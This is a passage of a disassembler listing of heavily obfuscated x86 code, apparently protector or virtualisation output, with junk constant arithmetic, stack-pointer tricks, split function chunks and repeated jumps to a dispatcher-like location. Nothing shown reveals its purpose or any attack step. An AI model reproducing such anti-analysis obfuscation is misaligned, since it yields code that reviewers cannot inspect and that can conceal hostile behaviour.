		xor	ecx, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], ecx
		xor	ecx, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_14], eax
		mov	eax, 5B6B6FADh
		push	edi
		push	ecx
		jmp	loc_59CFA2
; ---------------------------------------------------------------------------


loc_59BD95:				; CODE XREF: sub_5AA2D1+F49j
		pop	esi
		sub	edx, 574B7A32h
		add	edx, ebp
		add	edx, 574B7A32h
		pop	ebp
		add	edx, 4
		xchg	edx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		jmp	loc_5A4D09
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59BDB6:				; CODE XREF: sub_59A9E9+63AAj
		sub	ebx, edx
		pop	edx
		xor	eax, ebx
		pop	ebx
		or	ecx, eax
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		not	ecx
		add	ecx, 1
		add	ecx, 0FFCFF73Ah
		jmp	loc_59D635
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59BDD8:				; CODE XREF: sub_59EE3E+10CB2j
		shl	dl, 8
		sub	dl, 89h
		sub	ch, 94h
		sub	ch, dl
		add	ch, 94h
		mov	edx, [esp+0]
		add	esp, 4
		sub	al, ch
		push	[esp-4+arg_0]
		pop	ecx
		jmp	sub_59F3AE
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_59BDFA:				; CODE XREF: sub_5AB5A9+41Dj
		push	eax
		mov	eax, 443D27C2h
		shl	eax, 3
		xor	eax, 69E86642h
		add	eax, 0B7FEA7B2h
		push	eax
		pop	edx
		pop	eax
		add	ebx, edx
		jmp	loc_59F696
; END OF FUNCTION CHUNK	FOR sub_5AB5A9

; =============== S U B	R O U T	I N E =======================================



sub_59BE17	proc near		; CODE XREF: sub_5A5EFF-927Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059C55B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DB10 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059E1C0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0BB0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4653 SIZE 0000000F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 3CEC221Ah
		jmp	loc_59C55B
sub_59BE17	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59BE27:				; CODE XREF: sub_5A6BBC+3696j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 6DE19AEh
		add	edx, 0B0A06A66h
		xor	eax, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, eax
		jmp	loc_5A2A43
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_59BE44:				; CODE XREF: sub_599117:loc_5A53BDj
		not	ebx
		add	ebx, 703E6264h
		mov	ebp, ebx
		jmp	loc_59FDFE
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_59BE53:				; CODE XREF: sub_59F074+6j
		and	ebx, 451D4471h
		jmp	loc_5A8BD1
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_59BE5E:				; CODE XREF: sub_59EE3E+B28Aj
		dec	ebp
		push	ebx
		push	esi
		mov	esi, 0CF14F062h
		jmp	loc_5A85A9
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BE6B:				; CODE XREF: sub_5AA2D1-C9E1j
		mov	ebp, 1EFF7A6Dh
		sub	esi, ebp
		mov	ebp, [esp+14h+var_14]
		jmp	loc_5AE8BA
; ---------------------------------------------------------------------------


loc_59BE7A:				; CODE XREF: sub_5AA2D1-F606j
		sub	ah, 54h
		sub	bl, ah
		jmp	loc_5A38E1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_59BE84:				; CODE XREF: sub_59B2E4+1146Ej
		pop	eax
		xchg	ebx, [esp+8+var_8]
		jmp	loc_5A2748
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------


loc_59BE8D:				; CODE XREF: sdfs____:005A7FB5j
		shl	edi, 5
		xor	edi, 0BE5A4624h
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5A679C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59BEA7:				; CODE XREF: sub_5B01F7-A6ABj
		push	6913h
		jmp	loc_5A2C67
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BEB1:				; CODE XREF: sub_5AA2D1-CFC9j
		add	eax, 49401435h
		add	eax, ebp
		sub	eax, 49401435h
		pop	ebp
		sub	eax, esi
		push	ecx
		mov	ecx, 6F6D2831h
		add	eax, 7DAA525Eh
		jmp	loc_5A2ED0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_59BED0:				; CODE XREF: sub_5A2E41-4320j
		push	4A66h
		mov	[esp+0Ch+var_C], eax
		push	edx
		push	edi
		push	64924922h
		pop	edi
		jmp	loc_59A36D
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BEE5:				; CODE XREF: sub_5AA2D1-BC78j
		add	ch, 30h
		sub	al, ch
		jmp	loc_59C980
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5648


loc_59BEEF:				; CODE XREF: sub_5A5648-3A4Cj
		xor	ecx, 6009AFB7h
		sub	eax, ecx
		jmp	loc_5A5567
; END OF FUNCTION CHUNK	FOR sub_5A5648
; ---------------------------------------------------------------------------


loc_59BEFC:				; CODE XREF: sdfs____:005AA08Aj
		pop	edx
		add	esp, 4
		add	eax, 0CFFDDD95h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A2529
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59BF12:				; CODE XREF: sub_59F02F-16F0j
		push	esp
		mov	ecx, [esp+10h+var_10]
		jmp	loc_5A340E
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_59BF1B:				; CODE XREF: sub_5A9EC5+1FBFj
		xchg	bl, dh
		sub	esp, 4
		jmp	loc_5AF6A2
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_59BF25:				; CODE XREF: sub_5A3C19+834Aj
		mov	eax, [esp+0]
		add	esp, 4
		inc	eax
		jnz	loc_5ABB22
		or	eax, 23591EC7h
		add	eax, 9404E02Dh
		mov	ebp, eax
		pop	eax
		mov	ecx, esi
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59BF41:				; CODE XREF: sub_5AA2D1-C675j
		add	eax, ebx
		pop	ebx
		jmp	loc_59F25C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59BF49:				; CODE XREF: sub_59DE4B+3868j
					; sub_59A26C+AC12j
		push	[esp-0Ch+arg_8]
		pop	edx
		add	esp, 4
		jmp	loc_5A9345
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59BF55:				; CODE XREF: sub_5992DA+14CA0j
		push	eax
		mov	eax, 482431EBh
		shr	eax, 5
		jmp	loc_5A59DF
; ---------------------------------------------------------------------------


loc_59BF63:				; CODE XREF: sub_5992DA+D972j
		pop	edx
		and	eax, 699149A2h
		sub	eax, 1A97247Ch
		push	esi
		jmp	loc_59D687
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF533


loc_59BF74:				; CODE XREF: sub_5AF533-16041j
		xor	ebx, [esp-0Ch+arg_8]
		pop	esp
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AF533
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A317A


loc_59BF7D:				; CODE XREF: sub_5A317A+8628j
		add	esp, 4
		push	4AA5h
		mov	[esp+0], eax
		push	esi
		mov	esi, 4
		jmp	loc_59FCD2
; END OF FUNCTION CHUNK	FOR sub_5A317A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59BF93:				; CODE XREF: sub_5A79BE+20j
		mov	ecx, 46AD071Fh
		inc	ecx
		jmp	loc_59AB42
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59BF9E:				; CODE XREF: sub_5A63DC-1130j
					; sub_5A5330+5F46j
		push	6FC1h
		mov	[esp+0Ch+var_C], eax
		mov	eax, 41B96D0Bh
		add	eax, 0FFFFFFFFh
		add	eax, 264D433Bh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A57BC
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5648


loc_59BFC7:				; CODE XREF: sub_5A5648-DFj
		sub	eax, 0E894D126h
		add	edx, eax
		mov	eax, [esp+8+var_8]
		jmp	sub_5A68A5
; END OF FUNCTION CHUNK	FOR sub_5A5648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59BFD6:				; CODE XREF: sub_5A79BE-237Bj
		xchg	ecx, ebx
		pop	ecx
		add	ebx, 0FFFFFFFFh
		shr	ebx, 2
		jmp	loc_5A2FE8
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_59BFE7:				; CODE XREF: sub_5A3B60-5A68j
		pop	esi
		jmp	loc_5A18E2
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6F9C


loc_59BFED:				; CODE XREF: sub_5A6F9C-297Dj
		pop	ecx
		pop	[esp+8+var_8]
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A6F9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_59BFFB:				; CODE XREF: sub_5AAE5E+28EEj
		mov	[esp+0], eax
		push	ecx
		jmp	loc_5A6B17
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A35F6


loc_59C004:				; CODE XREF: sub_5A35F6+C521j
		ja	loc_59F12E
		jmp	loc_5AAD00
; END OF FUNCTION CHUNK	FOR sub_5A35F6
; ---------------------------------------------------------------------------
		mov	esi, 75B62E55h
		sub	eax, esi
		pop	esi
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5AB08D


loc_59C018:				; CODE XREF: sub_5AB08D+5Aj
		pop	edi
		shl	eax, 7
		jmp	loc_59DA0F
; END OF FUNCTION CHUNK	FOR sub_5AB08D
; ---------------------------------------------------------------------------


loc_59C021:				; CODE XREF: sdfs____:005991D7j
		xor	ah, 36h
		mov	bh, ah
		jmp	loc_59FD62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59C02B:				; CODE XREF: sub_5A6BBC-9C6j
		sub	edi, 2C231ADFh
		add	edi, eax
		add	edi, 2C231ADFh
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		jmp	sub_5A96D8
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_59C047:				; CODE XREF: sub_5A0AA2+1780j
		mov	[esp+0], ebp
		push	edx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	21A5h
		mov	[esp+0Ch+var_C], esi
		jmp	loc_59E2DA
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C061:				; CODE XREF: sub_5992DA+FCF2j
		add	ebx, eax
		push	ecx
		mov	ecx, 0EDE25C2h
		jmp	loc_5A4F84
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_59C06E:				; CODE XREF: sub_5AD993-D828j
		pop	ebp
		xor	ebx, eax
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_5AF145
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59961A


loc_59C07C:				; CODE XREF: sub_59961A+2Aj
		sub	esi, 54DF06B5h
		jmp	loc_59A2AA
; END OF FUNCTION CHUNK	FOR sub_59961A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C087:				; CODE XREF: sub_5AA2D1+4335j
		pop	esp
		and	byte ptr [esp-10h+arg_C], al
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_59C091:				; CODE XREF: sub_5A77D5-5636j
		add	ebx, ebp
		pop	ebp
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		dec	edi
		xchg	edi, ebx
		jmp	loc_5AAA9A
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A986


loc_59C0B0:				; CODE XREF: sub_59A986+8D1j
		and	edx, 4C1E2CB3h
		push	esi
		mov	esi, 69FC059Fh
		and	esi, 2B2328B8h
		and	esi, 785E5E3Fh
		xor	esi, 9E62F05h
		add	esi, 0ED8DEADDh
		xor	edx, esi
		pop	esi
		add	edx, 0DAF2F60Ah
		add	edi, edx
		pop	edx
		add	edi, 9614663h
		add	edi, 32F61254h
		jmp	loc_59D76E
; END OF FUNCTION CHUNK	FOR sub_59A986
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACB83


loc_59C0F1:				; CODE XREF: sub_5ACB83+Ej
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	sub_5A54BA
; END OF FUNCTION CHUNK	FOR sub_5ACB83
; ---------------------------------------------------------------------------


loc_59C0FD:				; CODE XREF: sdfs____:005ABD55j
		mov	[esp], ebx
		mov	bh, 3Fh
		xor	bh, 5
		and	bh, 6Fh
		and	bh, 8Eh
		jnz	loc_5ACC06
		push	eax
		mov	al, 85h
		sub	al, 47h
		sub	al, 0CEh
		and	bh, al
		pop	eax
		add	bh, 0DAh
		mov	cl, cl
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_59C120:				; CODE XREF: sub_5AB622-1FCEj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_59C125:				; CODE XREF: sub_59DB82+C178j
		xor	ecx, ebx
		pop	ebx
		add	eax, ecx
		jmp	loc_5A8FF4
; END OF FUNCTION CHUNK	FOR sub_59DB82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_59C12F:				; CODE XREF: sub_5A63DC+99CCj
		pop	esp
		mov	edx, ebp
		pop	ebp
		sub	[esp+8+var_4], 3A6B28B0h
		add	[esp+8+var_4], edx
		push	eax
		mov	eax, 3A6B28B0h
		add	[esp+0Ch+var_4], 4BED4A40h
		jmp	loc_5AD99E
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C152:				; CODE XREF: sub_5AA2D1-38CBj
		pop	edx
		push	edx
		mov	edx, 1F3D019Ah
		jmp	loc_5AAC57
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59C15E:				; CODE XREF: sub_5A0FFF-651Fj
					; sub_5AF294-33D7j
		xor	bh, dl
		pop	edx
		mov	al, bh
		pop	ebx
		shl	al, 8
		js	loc_59FFF9
		xor	al, 0B4h
		jg	loc_5AA82F
		inc	al
		jns	loc_59FD0E
		push	ecx
		mov	ch, 6Eh
		dec	ch
		neg	ch
		shr	ch, 2
		add	ch, 44h
		sub	al, ch
		pop	ecx
		sub	bl, al
		pop	ax
		movzx	eax, al
		jmp	loc_5A9F12
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------


loc_59C199:				; CODE XREF: sdfs____:005A756Cj
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_59C19E:				; CODE XREF: sub_5AAB66-6EC9j
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	esi, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		jmp	loc_59C4AA
; END OF FUNCTION CHUNK	FOR sub_5AAB66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54BA


loc_59C1BF:				; CODE XREF: sub_5A54BA+Aj
		add	esp, 4
		push	edi
		jmp	loc_5A5204
; END OF FUNCTION CHUNK	FOR sub_5A54BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59C1CB:				; CODE XREF: sub_59D6B8:loc_5A8D14j
		neg	ebx
		js	loc_5A7E28
		add	ebx, 0FDAF188h
		jmp	loc_59E77C
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C1DE:				; CODE XREF: sub_5AA2D1+2447j
		sub	esi, 8084293h
		jmp	loc_5A49FE
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59C1E9	proc near		; CODE XREF: sub_5AA2D1+28ADj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AEE3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B3AE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A135A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A8DCE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A8FE1 SIZE 0000000B BYTES

		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4CDA1EAAh
		jmp	loc_5A8DCE
sub_59C1E9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C1F7:				; CODE XREF: sub_5992DA+9F72j
		sub	edx, 0A463CAEh
		jmp	loc_5AB75B
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59C202:				; CODE XREF: sub_59C979+2B39j
		pop	eax
		add	edi, 410E27B6h
		jmp	loc_5A5393
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB622


loc_59C20E:				; CODE XREF: sub_5AB622-121D9j
		shr	esi, 6
		push	edx
		mov	edx, 6D91443Ah
		add	esi, edx
		pop	edx
		jmp	loc_5AFC0A
; END OF FUNCTION CHUNK	FOR sub_5AB622
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C21F:				; CODE XREF: sub_5992DA+116ECj
		jmp	loc_5AA006
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C95F


loc_59C224:				; CODE XREF: sub_59C95F+1j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_5A97A7
; END OF FUNCTION CHUNK	FOR sub_59C95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C23B:				; CODE XREF: sub_5AA2D1-742j
					; sub_5AA2D1+372Fj
		add	esp, 2
		jmp	loc_5A216C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5735


loc_59C246:				; CODE XREF: sub_5A5735+5BDj
		push	esi
		push	ecx
		push	5DF47BFEh
		jmp	loc_59ACB7
; END OF FUNCTION CHUNK	FOR sub_5A5735
; ---------------------------------------------------------------------------


loc_59C252:				; CODE XREF: sdfs____:005A4E42j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_5AC4C4
; ---------------------------------------------------------------------------


loc_59C272:				; CODE XREF: sdfs____:005997F8j
		push	eax
		push	19856F1Dh
		pop	eax
		jmp	loc_5AE2BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_59C27E:				; CODE XREF: sub_5A577C-BD68j
		or	esi, 44F251ADh
		jo	loc_5ABF7F
		sub	esi, 17DD1A5Ch
		mov	ebp, esi
		pop	esi
		jmp	loc_5A52E9
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8215


loc_59C298:				; CODE XREF: sub_5A8215-DA99j
		add	esp, 4
		add	edx, 4
		jmp	loc_5AA8D1
; END OF FUNCTION CHUNK	FOR sub_5A8215

; =============== S U B	R O U T	I N E =======================================



sub_59C2A6	proc near		; CODE XREF: sub_5A21A4+198Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A166C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A86BA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA630 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB48E SIZE 00000013 BYTES

		sub	esp, 4
		jmp	loc_5AB48E
sub_59C2A6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0266


loc_59C2B1:				; CODE XREF: sub_5B0266-10E16j
		mov	eax, esp
		jmp	loc_5A48AC
; END OF FUNCTION CHUNK	FOR sub_5B0266

; =============== S U B	R O U T	I N E =======================================



sub_59C2B8	proc near		; CODE XREF: sub_59B196+B56Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AD2B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059B90A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059EDA3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A01C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AF985 SIZE 0000000E BYTES

		push	ebx
		mov	ebx, 15FD5D39h
		add	ebx, 6BD80B94h
		jbe	loc_59B90A
		sub	ebx, 56CB2541h
		sub	ebx, 0C231FFB7h
		jmp	loc_5AF985
sub_59C2B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_59C2DB:				; CODE XREF: sub_59993B+F159j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59A756
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59C2F9:				; CODE XREF: sub_5992DA+F0Dj
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+28h+var_2A+2]
		jmp	loc_59F0EB
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C30D:				; CODE XREF: sub_5AA2D1-4692j
		push	esp
		pop	[esp-0Ch+arg_8]
		add	[esp-10h+arg_C], 4
		jmp	loc_5A0ABD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABFD8


loc_59C31D:				; CODE XREF: sub_5ABFD8-AEFAj
		xchg	esi, [esp+4+var_4]
		jmp	loc_5A2BCC
; END OF FUNCTION CHUNK	FOR sub_5ABFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59C325:				; CODE XREF: sub_5A477C+67Bj
		shl	edx, 6
		jnp	loc_59DAF8
		dec	edx
		and	edx, 17FB4805h
		jo	sub_5A5648
		add	edx, 0FE132BF2h
		jmp	loc_5AF3E5
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_59C346:				; CODE XREF: sub_5A7BA0-B451j
		jbe	loc_599FDF
		or	eax, 112D52A3h
		jz	loc_5A1FA5
		shl	eax, 8
		jns	loc_5A4BB2
		jmp	loc_5AB063
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59C365:				; CODE XREF: sub_59F02F+A38Fj
		mov	ecx, esi
		pop	esi
		sub	edi, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	sub_5A2789
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_59C378:				; CODE XREF: sub_5AF2D9+870j
		push	eax
		mov	eax, 12552660h
		add	ecx, eax
		jmp	loc_5A0D5B
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C385:				; CODE XREF: sub_5AA2D1-CD7Dj
		pop	ebx
		jmp	loc_5A020E
; ---------------------------------------------------------------------------


loc_59C38B:				; CODE XREF: sub_5AA2D1+5B27j
		push	edx
		mov	edx, 375B1F80h
		add	eax, edx
		jmp	loc_5AFFC7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_59C398:				; CODE XREF: sub_59FC02+FDE7j
		mov	ebp, 308E2D0Dh
		jmp	loc_59F4F5
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_59C3A2:				; CODE XREF: sub_5A9EBF-79DDj
		pop	ebp
		xor	edx, eax
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59C3AA:				; CODE XREF: sub_59A26C+3B24j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], edx
		mov	edx, 2
		jmp	loc_5A25E7
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59E483
; ---------------------------------------------------------------------------
		lodsb
		push	small 45B2h
		jmp	loc_5A3704
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_59C3DF:				; CODE XREF: sub_5B0377-8B00j
		mov	[esp+14h+var_14], ebx
		mov	ebx, 478F44CCh
		jmp	loc_599862
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59C3EC:				; CODE XREF: sub_5AA2D1-7574j
					; sub_5A0879+D482j
		sub	eax, 41007E01h
		sub	eax, ebp
		add	eax, 41007E01h
		pop	ebp
		or	eax, 63446671h
		dec	eax
		not	eax
		and	eax, 65512C46h
		sub	eax, 4010802h
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5992B5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A6F


loc_59C419:				; CODE XREF: sub_599A6F+7j
		mov	[esp+4+var_4], ebx
		mov	bh, 0E3h
